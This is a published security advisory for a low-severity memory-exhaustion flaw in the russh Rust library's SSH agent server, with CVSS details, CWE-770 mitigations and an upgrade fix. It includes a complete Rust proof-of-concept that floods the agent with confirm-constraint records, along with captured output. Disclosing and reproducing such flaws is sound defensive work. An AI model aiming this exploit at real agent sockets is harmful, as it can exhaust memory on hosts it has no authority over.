GHSA-9wfm-jcj8-jfv9 CVE-2026-116696
russh's SSH agent server is susceptible to unbound allocations via repeated SSH_AGENT_CONSTRAIN_CONFIRM messages
- Severity
- 3.3 / 10
- Low · CVSS 3.1
- Exploit chance (EPSS)
- 0.11%
- Chance of exploitation in the next 30 days. Higher than 1.26% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-770 Allocation of Resources Without Limits or Throttling
- Fix
0.65.0- Upgrade russh to this version or later
Description
Summary
All evidence, reproduction steps, and scripts in the report were verified against a real running instance. Nothing is fabricated or synthetic; every verdict is backed by captured output from an actual deployment.
The SSH agent server that ships with russh (russh::keys::agent::server::serve) parses client key-addition requests and, for each SSH_AGENT_CONSTRAIN_CONFIRM (0x02) record it finds, pushes one Constraint::Confirm value into a per-key vector inside an unbounded loop, then stores the resulting pair permanently in its keystore (russh/src/keys/agent/server.rs:296-303). Neither the constraint vector nor the keystore has a size or count limit: the only boundary is the 256 KiB agent frame cap, and every 1-byte record a client sends becomes a 56-byte enum retained for the life of the process. Any process that can connect to the agent socket - the same trust model the project itself established when fixing a prior advisory about this same request handler - can therefore grow the agent's memory without bound and renew the growth at will: six 256 KiB requests retained 72.4 MiB (about 12.1 MiB per request, a roughly 48-fold amplification) while an equal number of unconstrained key additions retained nothing, measured against the unmodified server through its public API on v0.64.1. The earlier fix for that prior advisory deduplicates only the sibling SSH_AGENT_CONSTRAIN_LIFETIME (0x01) record type and leaves this parallel variant untouched, and since constrained keys never expire the retained memory is never reclaimed.
Details
When a client adds a key with constraints, the server walks the constraint section byte by byte and collects typed values with no upper bound on how many it will accept:
russh/src/keys/agent/server.rs:296-297 (v0.64.1 = main = e5d80a07dc554480b6ea3b2e14adfc190407b627)
} else if t == msg::CONSTRAIN_CONFIRM {
c.push(Constraint::Confirm) // inside the record loop, no length cap
russh/src/keys/agent/server.rs:303-308
- the (key, timestamp, constraints) triple is inserted into the keystore,
and keys without a LIFETIME constraint never expire
The Constraint enum is aligned to its largest variant, so each 1-byte 0x02 record on the wire costs 56 bytes of retained heap, and the frame cap of 256 KiB (server.rs:23,109) is the only thing shaping a single request - the number of requests, and the number of keys in the keystore, are unbounded. The project's fix for its prior agent advisory (commit 4c30503, shipped in 0.64.1) addressed the SSH_AGENT_CONSTRAIN_LIFETIME record by deduplicating lifetime entries and collapsing the per-record timer tasks; the CONSTRAIN_CONFIRM branch in the very same loop was left as-is, so the fixed release still accepts and retains arbitrary amounts of confirm records per key. The privilege model is the one the project used for the prior advisory: any local process able to connect to the agent's listening socket, which in agent-forwarding scenarios includes processes on the remote side of a forwarded session. Both file references are identical on the latest tag v0.64.1 and on main (same commit e5d80a07dc554480b6ea3b2e14adfc190407b627), and the confirm-record handling predates the fork that merged the keys crate, so all released versions are affected.
Proof of concept
The instance is the unmodified russh v0.64.1 agent server started through its public russh::keys::agent::server::serve API inside the PoC process, with the attacker leg and the control leg connecting over an in-process duplex socket exactly as a foreign local client would; the agent handler runs with default configuration and no test hooks. The harness measures live heap with a counting global allocator, generates a fresh Ed25519 key per request, and speaks the real agent framing (4-byte length prefix) with the server's own 256 KiB frame cap. Set the project up with the commands below (the retained run referenced the russh source checked out at tag v0.64.1 via a path dependency and built with the GNU toolchain because the machine lacks MSVC's linker; the crates.io russh@0.64.1 release is the same source and any stable toolchain works; on Windows the built binary carries an .exe extension). The full src/main.rs follows.
cargo new poc_agent_confirm_growth
cd poc_agent_confirm_growth
cargo add russh@0.64.1 tokio --features tokio/full futures@0.3 rand@0.10
cat > src/main.rs <<'EOF'
//! PoC: russh agent server - unbounded persistent memory growth via
//! SSH_AGENT_CONSTRAIN_CONFIRM (0x02) constraint records.
//!
//! Target: russh v0.64.1 (commit e5d80a0), russh/src/keys/agent/server.rs,
//! add_key() -> `c.push(Constraint::Confirm)` inside an unbounded loop, with
//! no cap on the resulting per-key constraint vector and no cap on the number
//! of keys in the keystore.
//!
//! Relationship to GHSA-4wc5-f2rc-q74m (fixed in 0.64.1): that advisory covered
//! the SSH_AGENT_CONSTRAIN_LIFETIME (0x01) record, whose fix (commit 4c30503)
//! deduplicates lifetime records only. The parallel CONFIRM record variant is
//! not covered: each 1-byte 0x02 record retains one 56-byte Constraint enum in
//! the persistent keystore (>=50x amplification, never expires, renewable).
//!
//! Attack model (same as GHSA-4wc5): any local process able to connect to the
//! agent's listening socket. No authentication on the socket by default.
//!
//! The attacker here only uses the socket (tokio duplex); the agent server
//! runs unmodified via the public `russh::keys::agent::server::serve` API.
use std::alloc::{GlobalAlloc, Layout, System};
use std::sync::atomic::{AtomicU64, Ordering};
use futures::stream::once;
use tokio::io::{AsyncReadExt, AsyncWriteExt, DuplexStream};
static LIVE: AtomicU64 = AtomicU64::new(0);
struct Counting;
unsafe impl GlobalAlloc for Counting {
unsafe fn alloc(&self, layout: Layout) -> *mut u8 {
let p = System.alloc(layout);
if !p.is_null() {
LIVE.fetch_add(layout.size() as u64, Ordering::SeqCst);
}
p
}
unsafe fn dealloc(&self, p: *mut u8, layout: Layout) {
LIVE.fetch_sub(layout.size() as u64, Ordering::SeqCst);
System.dealloc(p, layout)
}
}
#[global_allocator]
static A: Counting = Counting;
fn live_mb() -> f64 {
LIVE.load(Ordering::SeqCst) as f64 / (1024.0 * 1024.0)
}
fn fresh_key() -> russh::keys::PrivateKey {
russh::keys::ssh_key::PrivateKey::random(&mut rand::rng(), russh::keys::Algorithm::Ed25519)
.expect("keygen")
}
const FRAME_MAX: usize = 256 * 1024; // MAX_AGENT_FRAME_LEN in agent/server.rs
fn frame(payload: &[u8]) -> Vec<u8> {
let mut f = Vec::with_capacity(payload.len() + 4);
f.extend_from_slice(&(payload.len() as u32).to_be_bytes());
f.extend_from_slice(payload);
f
}
/// Build one ADD_IDENTITY (17) frame: no constraints (control leg).
fn add_key_plain(key: &russh::keys::PrivateKey) -> Vec<u8> {
use russh::keys::ssh_encoding::Encode;
let mut p = vec![17u8]; // SSH_AGENTC_ADD_IDENTITY
key.key_data().encode(&mut p).unwrap();
Vec::<u8>::new().encode(&mut p).unwrap(); // empty comment
frame(&p)
}
/// Build one ADD_IDENTITY_CONSTRAINED (25) frame whose constraint section is
/// `n` consecutive SSH_AGENT_CONSTRAIN_CONFIRM (0x02) records.
fn add_key_confirm(key: &russh::keys::PrivateKey, n: usize) -> Vec<u8> {
use russh::keys::ssh_encoding::Encode;
let mut p = vec![25u8]; // SSH_AGENTC_ADD_IDENTITY_CONSTRAINED
key.key_data().encode(&mut p).unwrap();
Vec::<u8>::new().encode(&mut p).unwrap(); // empty comment
p.resize(p.len() + n, 0x02);
frame(&p)
}
async fn round(conn: &mut DuplexStream, req: Vec<u8>) -> u8 {
conn.write_all(&req).await.expect("write frame");
let mut resp = [0u8; 5];
conn.read_exact(&mut resp).await.expect("read reply");
resp[4] // SUCCESS(6) / FAILURE(5) after 4-byte length prefix
}
#[tokio::main]
async fn main() {
println!("== poc_agent_confirm_growth ==");
println!(
"target: russh agent server (keys/agent/server.rs), frame cap {} bytes",
FRAME_MAX
);
let (server_side, mut attacker) = tokio::io::duplex(64 * 1024);
let listener = once(Box::pin(async move {
Ok::<_, std::io::Error>(server_side)
}));
tokio::spawn(async move {
let _ = russh::keys::agent::server::serve(listener, ()).await;
});
tokio::time::sleep(std::time::Duration::from_millis(200)).await;
let baseline = live_mb();
println!("baseline allocated: {:.2} MiB", baseline);
// ---- Control leg: same number of frames, unconstrained adds ----
let rounds = 6;
for i in 0..rounds {
let key = fresh_key();
let resp = round(&mut attacker, add_key_plain(&key)).await;
println!(
"CONTROL round {}: unconstrained add, reply byte = {}, live = {:.2} MiB",
i,
resp,
live_mb()
);
}
let after_control = live_mb();
println!(
"CONTROL total delta: {:+.2} MiB after {} unconstrained adds",
after_control - baseline,
rounds
);
// ---- Attack leg: one 0x02-padded constrained add per round ----
for i in 0..rounds {
let key = fresh_key();
// frame budget minus key blob/comment/header; all remaining bytes are
// 1-byte CONFIRM records
let probe = add_key_confirm(&key, 1);
let n_confirms = FRAME_MAX - probe.len();
let resp = round(&mut attacker, add_key_confirm(&key, n_confirms)).await;
println!(
"ATTACK round {}: {}-byte frame with {} CONFIRM records, reply byte = {}, live = {:.2} MiB",
i,
FRAME_MAX,
n_confirms,
resp,
live_mb()
);
}
let after_attack = live_mb();
let attack_delta = after_attack - after_control;
println!(
"ATTACK total delta: {:+.2} MiB after {} constrained adds",
attack_delta, rounds
);
println!(
"per-request amplification: ~{:.1}x (input frame 262144 B -> retained {} B avg)",
attack_delta * 1024.0 * 1024.0 / (rounds as f64) / 262144.0,
((attack_delta * 1024.0 * 1024.0) / rounds as f64) as u64
);
// keys stay in the keystore forever (no lifetime): show retention persists
tokio::time::sleep(std::time::Duration::from_secs(2)).await;
println!(
"after idle wait, live = {:.2} MiB (retained: server keystore still holds every constraint vector)",
live_mb()
);
let verdict_growth = after_attack - after_control;
if verdict_growth > 10.0 {
println!(
"VERDICT: VULNERABLE - attack leg retained {:.1} MiB vs control {:+.2} MiB; {:.1} MiB/round persisted, unbounded and renewable",
verdict_growth,
after_control - baseline,
verdict_growth / rounds as f64
);
} else {
println!(
"VERDICT: NOT REPRODUCED - growth {:.2} MiB below threshold",
verdict_growth
);
}
}
EOF
cargo build --release
./target/release/poc_agent_confirm_growth
Captured output from the running v0.64.1 agent server (verbatim; lines from the retained run log, paths shown relative to the PoC working directory):
$ ./target/release/poc_agent_confirm_growth.exe (built with: cargo +stable-x86_64-pc-windows-gnu build --release)
== poc_agent_confirm_growth ==
target: russh agent server (keys/agent/server.rs), frame cap 262144 bytes
baseline allocated: 0.11 MiB
CONTROL round 0: unconstrained add, reply byte = 6, live = 0.11 MiB
CONTROL round 1: unconstrained add, reply byte = 6, live = 0.11 MiB
CONTROL round 2: unconstrained add, reply byte = 6, live = 0.11 MiB
CONTROL round 3: unconstrained add, reply byte = 6, live = 0.11 MiB
CONTROL round 4: unconstrained add, reply byte = 6, live = 0.11 MiB
CONTROL round 5: unconstrained add, reply byte = 6, live = 0.11 MiB
CONTROL total delta: +0.00 MiB after 6 unconstrained adds
ATTACK round 0: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 12.49 MiB
ATTACK round 1: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 24.49 MiB
ATTACK round 2: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 36.49 MiB
ATTACK round 3: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 48.49 MiB
ATTACK round 4: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 60.49 MiB
ATTACK round 5: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 72.49 MiB
ATTACK total delta: +72.38 MiB after 6 constrained adds
per-request amplification: ~48.3x (input frame 262144 B -> retained 12649017 B avg)
after idle wait, live = 72.49 MiB (retained: server keystore still holds every constraint vector)
VERDICT: VULNERABLE - attack leg retained 72.4 MiB vs control +0.00 MiB; 12.1 MiB/round persisted, unbounded and renewable
Output interpretation: the control leg issues the same number of key additions without constraints and the keystore keeps nothing, while each constrained request permanently retains about 12.1 MiB - roughly 48 times its 256 KiB wire size - and the memory is still held after an idle wait, confirming the records are kept for the life of the process rather than tied to the connection. Live-memory readings are instance-specific; the mechanism, per-record retention with no cap on the constraint vector or the keystore, is the stable verdict.
Impact
Unrestricted resource allocation (CWE-770): any process able to reach the agent's socket - a local process, or a remote process on the far side of a forwarded agent - can drive the agent server into unbounded, permanent, renewable memory growth with ordinary-sized requests, degrading and eventually exhausting the host running the agent. The retained memory is never freed because constrained keys never expire, and the sibling lifetime-record fix in the same handler does not touch this path. A fix is to cap the number of constraint records accepted per key (and the number of keys held), reject unknown or duplicate record types, and bound the total memory the keystore may retain.
Affected versions
crates.io
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
russh crates.io → 0.65.0
- cargo
cargo update -p russh --precise 0.65.0
Severity breakdown
CVSS 3.1 3.3
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
- Attack vector
- Local
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- Low
Weakness
CWE-770: Allocation of Resources Without Limits or Throttling
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
How to prevent it
- Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
- Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
- Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
References
Advisories
Fixes and patches
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-vp5q-ff62-jwqv russh: Agent server never calls `Agent::confirm`, so keys added with the confirm constraint (`ssh-add -c`) sign without confirmation | High | Also affects russh |
| GHSA-fw5c-8223-6h42 russh: peer-declared zero maximum packet size permanently stalls channel writes (silent AsyncWrite hang) | Medium | Also affects russh |
| GHSA-4p9f-7p9m-5vfg russh's SSH client is susceptible to unbounded allocations via EXT_INFO packets | Medium | Also affects russh |
| GHSA-4wc5-f2rc-q74m russh: Unbounded memory allocation in agent protocol server via crafted constraint records | Medium | Also affects russh |
| GHSA-j7h2-66j4-ghjf A russh SSH server accepts a publickey authentication whose signature uses a different algorithm than the one named in the request | Low | Also affects russh |
| GHSA-g6xm-f9xp-qq35 Russh: Configured server auth-attempt cap is not enforced in the USERAUTH_REQUEST runtime path | Low | Also affects russh |
| GHSA-w3jg-pjxf-73p4 Russh: Missing X25519 zero-point validation in hybrid ML-KEM key exchange | Medium | Also affects russh |
| GHSA-47hw-gvq5-r2gm russh: Client-side channel-scoped Handler callbacks fire for channel IDs the client never opened | High | Also affects russh |
Credits: Hama1cco
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor